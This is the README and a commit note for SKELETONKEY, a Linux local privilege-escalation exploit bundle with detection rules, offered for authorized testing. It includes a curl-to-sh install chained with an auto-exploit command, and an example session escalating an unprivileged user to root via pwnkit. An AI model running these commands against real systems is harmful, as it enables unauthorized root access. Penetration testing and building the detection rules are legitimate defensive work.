leviathan
cdb8f5e8f9
Every kernel-LPE module that uses Linux-only headers (splice, posix_fadvise,
linux/netlink.h, sys/ptrace.h, etc.) now follows the same #ifdef __linux__
pattern the new modules already used: Linux body in the ifdef, stub
detect/exploit/cleanup returning SKELETONKEY_PRECOND_FAIL on non-Linux,
platform-neutral rule strings + module struct + register fn left outside.
14 modules wrapped:
dirty_pipe (already done above), af_packet, af_packet2,
cgroup_release_agent, cls_route4, dirty_cow, fuse_legacy,
netfilter_xtcompat, nf_tables, nft_fwd_dup, nft_payload,
overlayfs, overlayfs_setuid, ptrace_traceme.
Several modules previously had ad-hoc partial stubs (af_packet2 faked
SIOCSIFFLAGS/MAP_LOCKED, netfilter_xtcompat faked sysv-msg syscalls,
the nft_* modules had 3 partial __linux__ islands each, fuse_legacy /
nf_tables had inner-only ifdef blocks) — all replaced with the uniform
outer-wrap shape from dirty_pipe / dirtydecrypt / fragnesia / pack2theroot.
Where a module includes core/kernel_range.h, core/finisher.h, or
core/offsets.h, those are now inside the ifdef block as well — silences
clangd's "unused-includes" LSP warning on macOS while keeping them
present for the real Linux build.
No exploit logic, constant, struct, shellcode byte, or rule string was
modified — only include placement and ifdef markers.
Build verification:
macOS (local): make clean && make → Mach-O x86_64, 31 modules
registered, --scan reports each Linux-only module as
"Linux-only module — not applicable here".
Linux (docker gcc:latest + libglib2.0-dev): make clean && make →
ELF 64-bit, 31 modules. Exploit code paths unchanged.
SKELETONKEY
One curated binary. 28 verified Linux LPE exploits, 2016 → 2026 (+3 ported-but-unverified). Detection rules in the box. One command picks the safest one and runs it.
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
&& skeletonkey --auto --i-know
⚠️ Authorized testing only. SKELETONKEY runs real exploits. By using it you assert you have explicit authorization to test the target system. See
docs/ETHICS.md.
Why use this
Most Linux privesc tooling is broken in one of three ways:
linux-exploit-suggester/linpeas— tell you what might work, run nothingauto-root-exploit/kernelpop— bundle exploits but ship no detection signatures and went stale years ago- Per-CVE PoC repos — one author, one distro, abandoned within months
SKELETONKEY is one binary, actively maintained, with detection rules for every CVE in the bundle — same project for red and blue teams.
Who it's for
| Audience | What you get |
|---|---|
| Red team / pentesters | One tested binary. --auto ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. |
| Sysadmins | skeletonkey --scan (no sudo needed) tells you which boxes still need patching. Fleet-scan tool included. JSON output for CI gates. |
| Blue team / SOC | Auditd + sigma + yara + falco rules for every CVE. --detect-rules --format=auditd | sudo tee … ships SIEM coverage in one command. |
| CTF / training | Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. |
Corpus at a glance
28 verified modules spanning the 2016 → 2026 LPE timeline, plus
3 ported-but-unverified modules (dirtydecrypt, fragnesia,
pack2theroot — see note below):
| Tier | Count | What it means |
|---|---|---|
| 🟢 Full chain | 14 | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
| 🟡 Primitive | 14 | Fires the kernel primitive + grooms the slab + records a witness. Default returns EXPLOIT_FAIL honestly. Pass --full-chain to engage the shared modprobe_path finisher (needs offsets — see docs/OFFSETS.md). |
| ⚪ Ported, unverified | 3 | dirtydecrypt, fragnesia, pack2theroot. Built and registered, but not yet validated end-to-end — for the page-cache pair detect() is precondition-only; for pack2theroot the fix release IS pinned (high-confidence verdict). --auto auto-enables --active so the probes turn into definitive verdicts on a vulnerable host. Excluded from the 28-module verified counts above. |
🟢 Modules that land root on a vulnerable host: copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs (CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) · cgroup_release_agent · ptrace_traceme · sudoedit_editor · entrybleed (KASLR leak primitive)
🟡 Modules with opt-in --full-chain:
af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
⚪ Ported-but-unverified (not in the counts above):
dirtydecrypt (CVE-2026-31635) · fragnesia (CVE-2026-46300) ·
pack2theroot (CVE-2026-41651) — ported from public PoCs, not yet
VM-validated. The two page-cache writes (dirtydecrypt, fragnesia)
have precondition-only detect() because the CVE fix commits are not
yet pinned in the modules. pack2theroot is a userspace D-Bus
PackageKit TOCTOU; its fix release (PackageKit 1.3.5, commit
76cfb675) is pinned and detect() reads the daemon's version over
D-Bus — high-confidence verdict.
See CVES.md for per-module CVE, kernel range, and
detection status.
Quickstart
# Install (x86_64 / arm64; checksum-verified)
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
# What's this box vulnerable to? (no sudo)
skeletonkey --scan
# Pick the safest LPE and run it
skeletonkey --auto --i-know
# Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)
skeletonkey --detect-rules --format=auditd \
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
# Fleet scan — many hosts via SSH, aggregated JSON for SIEM
./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
--ssh-key ~/.ssh/id_rsa hosts.txt
SKELETONKEY runs as a normal unprivileged user — that's the point.
--scan, --audit, --exploit, and --detect-rules all work without
sudo. Only --mitigate and rule-file installation write root-owned
paths.
Example: unprivileged → root
$ id
uid=1000(kara) gid=1000(kara) groups=1000(kara)
$ skeletonkey --auto --i-know
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
[*] auto: scanning 31 modules for vulnerabilities...
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
[+] auto: pwnkit VULNERABLE (safety rank 100)
[ ] auto: copy_fail patched or not applicable
[ ] auto: nf_tables precondition not met
...
[*] auto: scan summary — 3 vulnerable, 21 patched/n.a., 7 precondition-fail, 0 indeterminate
[*] auto: 3 vulnerable modules found. Safest is 'pwnkit' (rank 100).
[*] auto: launching --exploit pwnkit...
[+] pwnkit: writing gconv-modules cache + payload.so...
[+] pwnkit: execve(pkexec) with NULL argv + crafted envp...
# id
uid=0(root) gid=0(root) groups=0(root)
The safety ranking goes: structural escapes (no kernel state touched) → page-cache writes → userspace cred-races → kernel primitives → kernel races (least predictable). The goal is to never crash a production box looking for root.
How it works
Each CVE (or tightly-related family) is a module under modules/.
Modules export a standard interface (detect / exploit / mitigate / cleanup) plus metadata (kernel range, detection rule text). The
top-level binary dispatches per command:
--scanwalks every module'sdetect()against the running host--exploit <name> --i-knowruns the named module's exploit (the--i-knowflag is the authorization gate)--auto --i-knowdoes the scan, ranks by safety, runs the safest--detect-rules --format=<auditd|sigma|yara|falco>emits the embedded rule corpus--mitigate <name>/--cleanup <name>apply / undo temporary mitigations (module-dependent — most kernel modules say "upgrade")--dump-offsetsreads/proc/kallsyms+/boot/System.mapand emits a ready-to-paste C entry for the--full-chainoffset table
See docs/ARCHITECTURE.md for the
module-loader design.
The verified-vs-claimed bar
Most public PoC repos hardcode offsets for one kernel build and
silently break elsewhere. SKELETONKEY refuses to ship fabricated
offsets. The shared --full-chain finisher only returns
EXPLOIT_OK after a setuid bash sentinel file actually appears;
otherwise modules return EXPLOIT_FAIL with a diagnostic. Operators
populate the offset table once per target kernel via
skeletonkey --dump-offsets and either set env vars or upstream the
entry via PR (CONTRIBUTING.md).
Build from source
git clone https://github.com/KaraZajac/SKELETONKEY.git
cd SKELETONKEY
make
./skeletonkey --version
Builds clean with gcc or clang on any modern Linux. macOS dev builds also compile (modules with Linux-only headers stub out gracefully).
Status
v0.5.0 cut 2026-05-17. 28 verified modules, plus 3
ported-but-unverified (dirtydecrypt, fragnesia, pack2theroot)
added since the cut. All 31 build clean on Debian 13 (kernel 6.12)
and refuse cleanly on patched hosts. --auto now auto-enables
--active and runs each detect() in a fork-isolated child so one
crashing probe cannot tear down the scan. Empirical end-to-end
validation on a vulnerable-target VM matrix is the next roadmap item;
until then, the corpus is best understood as "compiles + detects +
structurally correct + honest on failure" — and the three ported
modules have not been run against a vulnerable target at all.
See ROADMAP.md for the next planned modules and
infrastructure work.
Contributing
PRs welcome for: kernel offsets (run --dump-offsets on a target
kernel, paste into core/offsets.c), new modules, detection rules,
and CVE-status corrections. See CONTRIBUTING.md.
Acknowledgments
Each module credits the original CVE reporter and PoC author in its
NOTICE.md. SKELETONKEY is the bundling and bookkeeping layer;
the research credit belongs to the people who found the bugs.
License
MIT — see LICENSE.